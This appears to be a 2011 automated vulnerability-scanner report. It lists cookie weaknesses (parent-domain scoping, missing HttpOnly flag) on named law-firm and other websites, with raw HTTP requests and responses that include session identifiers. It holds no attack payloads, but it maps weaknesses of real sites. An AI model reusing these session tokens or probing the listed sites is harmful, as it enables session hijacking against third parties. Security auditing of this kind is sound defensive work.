HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:48:35 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFID=24113095;path=/ Set-Cookie: CFTOKEN=35971701;path=/ Set-Cookie: CFCLIENT_WWW2=recentsearch%3D%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:48:35 GMT;path=/ Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A48%3A35%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D6%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:48:35 GMT;path=/ Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /industries HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:50:42 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A50%3A42%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D995%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:50:42 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /insite HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:48:52 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A48%3A52%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D157%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:48:52 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /international HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:52:43 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A52%3A43%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D1606%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:52:43 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /jblount HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:52:19 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A52%3A19%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D1481%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:52:19 GMT;path=/ Content-Type: text/html; charset=UTF-8
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /news/act_ticker_xml.cfm HTTP/1.1 Host: www.fulbright.com Proxy-Connection: keep-alive Referer: http://www.fulbright.com/fjLib/media/flash/news/newsTicker.swf Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=24113095; CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D2%23cftoken%3D35971701%23cfid%3D24113095%23
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:08:48 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A48%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D3%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:08:48 GMT;path=/ Content-Type: text/xml
<images>
<item> <news>Fulbright Partner Named Best FCPA Lawyer Outside of D.C.</news> <url>http://www.fulbright.com/index.cfm?fuseaction=news.detail&article_id=9405&site_id=286< ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /newsTicker.swf HTTP/1.1 Host: www.fulbright.com Proxy-Connection: keep-alive Referer: http://www.fulbright.com/dc Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=24113095; CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:08:46 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D2%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:08:46 GMT;path=/ Content-Type: text/html; charset=UTF-8
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offices HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:51:14 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A51%3A14%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D1160%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:51:14 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /rss HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:52:42 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A52%3A42%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D1602%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:52:42 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /seminars/act_eventbanner_xml.cfm HTTP/1.1 Host: www.fulbright.com Proxy-Connection: keep-alive Referer: http://www.fulbright.com/fjLib/media/flash/events/eventsBanner_03.swf Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=24113095; CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D2%23cftoken%3D35971701%23cfid%3D24113095%23
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:08:48 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A48%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D3%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:08:48 GMT;path=/ Content-Type: text/xml
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /technology HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:49:17 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A49%3A17%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D393%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:49:17 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /washington%20dc%20law%20firms HTTP/1.1 Host: www.info.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>Info.com - washington dc law firms - www.Info.com</title><link rel="shortcut icon" href="http://gfx.info.com/commo ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /results.aspx?keyword=law+offices&CID=2531/x22 HTTP/1.1 Host: www.local.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.matneylawfirm.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 16:52:23 GMT Set-Cookie: BX=0ffvtbl6je5m7&b=3&s=d5; expires=Tue, 02-Jun-2037 20:00:00 GMT; path=/; domain=.matneylawfirm.com P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" X-Host: p12w19.geo.re4.yahoo.com X-INKT-URI: http://www.matneylawfirm.com//index.htm X-INKT-SITE: http://www.matneylawfirm.com Last-Modified: Tue, 29 Dec 2009 20:05:56 GMT Accept-Ranges: bytes Content-Length: 33520 Content-Type: text/html Age: 0 Connection: close Server: YTS/1.17.13
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.naegele.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 16:53:02 GMT Set-Cookie: BX=32vpnop6je5ne&b=3&s=6u; expires=Tue, 02-Jun-2037 20:00:00 GMT; path=/; domain=.naegele.com P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" X-Host: p9w5.geo.re4.yahoo.com X-INKT-URI: http://www.naegele.com//index.html X-INKT-SITE: http://www.naegele.com Last-Modified: Wed, 25 Aug 2004 03:33:02 GMT Accept-Ranges: bytes Content-Length: 9139 Content-Type: text/html Age: 0 Connection: close Server: YTS/1.17.13
<HTML> <HEAD> <TITLE>Timothy D. Naegele & Associates: Banking Law and Internet Law</TITLE> <meta name="description" content="Banking law firm in Washington, D.C. and Los Angeles specializing in ba ...[SNIP]...
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
b=10011; domain=.yellowpages.com; path=/; expires=Thu, 20 Dec 2012 00:00:01 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Washington-DC/Attorneys HTTP/1.1 Host: www.yellowpages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Date: Wed, 19 Jan 2011 15:13:37 GMT Status: 301 Moved Permanently Server: nginx Content-Type: text/plain Location: http://www.yellowpages.com/washington-dc/attorneys Content-Length: 9 X-Urid: d-9ca453f0-060c-012e-b0d1-001e0be96752 Expires: Wed, 19 Jan 2011 15:13:36 GMT Cache-Control: no-cache Set-Cookie: b=10011; domain=.yellowpages.com; path=/; expires=Thu, 20 Dec 2012 00:00:01 GMT Connection: close
moved to
12. Cookie without HttpOnly flag setpreviousnext There are 442 instances of this issue:
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /mlalaw/default.asp HTTP/1.1 Host: ams-legal.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 18:05:39 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Pragma: no-cache cache-control: no-cache, no-store Content-Length: 403 Content-Type: text/html Expires: Wed, 19 Jan 2011 18:05:39 GMT Set-Cookie: ASPSESSIONIDSQSTRQAQ=MLHOICADDOFMEONODGIODFCK; path=/ Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>AMS Legal Collaborator</title> </head> <frameset rows="100%,0" border="0"> <frame name="MainPnl" src="Logi ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /index.cfm?fuseaction=user.retrievepassword HTTP/1.1 Host: collect.myspace.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="http://secure.myspace.com/index.cfm?fuseaction=user.resetPasswordRequest">here</a>.</h2> </body></html>
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: connectto.mckennalong.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Wed, 19 Jan 2011 17:03:46 GMT Connection: close Content-Length: 3693 Content-Type: text/html Set-Cookie: ASPSESSIONIDQQCSRASD=FABLDEKAMMPGHCOJBNIEHGKK; path=/ Cache-control: private
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: hostnet.com.br Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: interface.eyecon.ro Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:23:47 GMT Server: Apache X-Powered-By: PHP/5.2.6 Set-Cookie: PHPSESSID=a0c93388e61bb083c2ea064120022059; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 5824 Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: kasimer-ittig.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /&hl=en&client=ca-dp-sphere-radlinks_js&gl=US HTTP/1.1 Host: kasimer-ittig.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /&hl=en&client=ca-dp-sphere_related_xml&gl=US HTTP/1.1 Host: kasimer-ittig.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: local.ingenio.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 16:58:34 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 4.0.30319 P3P: policyref="/w3c/p3p.xml",CP="ALL DSP COR CURa ADMa DEVa TAIa OUR BUS UNI COM NAV INT STA" Pragma: no-cache Set-Cookie: Homepage.HomeFlow=pmode=0; path=/ Set-Cookie: KeenUid=Annon=Y&Uid=c12NzXH2-xAmGBCeLUNSqw%3d%3d; path=/ Set-Cookie: Perm=; path=/ Set-Cookie: Passthrough=CallFlowEntID=3967171&TrackingEntID=4558042&CobrandEntID=4953963&PartnerEntID=2194807; path=/ Set-Cookie: PageTrace=Enabled=0; path=/ Set-Cookie: YIC=search=&location=&urlref=&LDC=0; path=/ Set-Cookie: Home=CancelUrl=&ReturnUrl=&Params=pmode%3d0%26FlowSequenceName%3d%26Started%3d1%26DisplayStepIndicator%3d0; path=/ Set-Cookie: Session=Data=ENC2_WUcxSkxtYm0xekJhemU3TlVycUw4WS9IM2VoUFhJSFU%3d; path=/ Cache-Control: no-store, must-revalidate, private Content-Type: text/html; charset=iso-8859-1 Content-Length: 41229
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html> <head id="ctl00_ctl00_head"><title> Ingenio Yellow Pages | Make a telephone ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
SESSabdcf03bfc020aa07e9f024d8c52c72f=8qcuk8dtpa8h4nbhdq5625bnu3; expires=Fri, 11 Feb 2011 21:46:17 GMT; path=/; domain=.plugins.jquery.com
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /node/1208] HTTP/1.1 Host: plugins.jquery.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Wed, 19 Jan 2011 18:12:57 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.6 Set-Cookie: SESSabdcf03bfc020aa07e9f024d8c52c72f=8qcuk8dtpa8h4nbhdq5625bnu3; expires=Fri, 11 Feb 2011 21:46:17 GMT; path=/; domain=.plugins.jquery.com Expires: Sun, 19 Nov 1978 05:00:00 GMT Last-Modified: Wed, 19 Jan 2011 18:12:57 GMT Cache-Control: store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 9131
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
The following cookie was issued by the application and does not have the HttpOnly flag set:
SESSabdcf03bfc020aa07e9f024d8c52c72f=c67hs5216a60ciuac84pju67d4; expires=Fri, 11 Feb 2011 21:46:18 GMT; path=/; domain=.plugins.jquery.com
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /project/onImagesLoad HTTP/1.1 Host: plugins.jquery.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:12:58 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.6 Set-Cookie: SESSabdcf03bfc020aa07e9f024d8c52c72f=c67hs5216a60ciuac84pju67d4; expires=Fri, 11 Feb 2011 21:46:18 GMT; path=/; domain=.plugins.jquery.com Expires: Sun, 19 Nov 1978 05:00:00 GMT Last-Modified: Wed, 19 Jan 2011 18:12:58 GMT Cache-Control: store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 18557
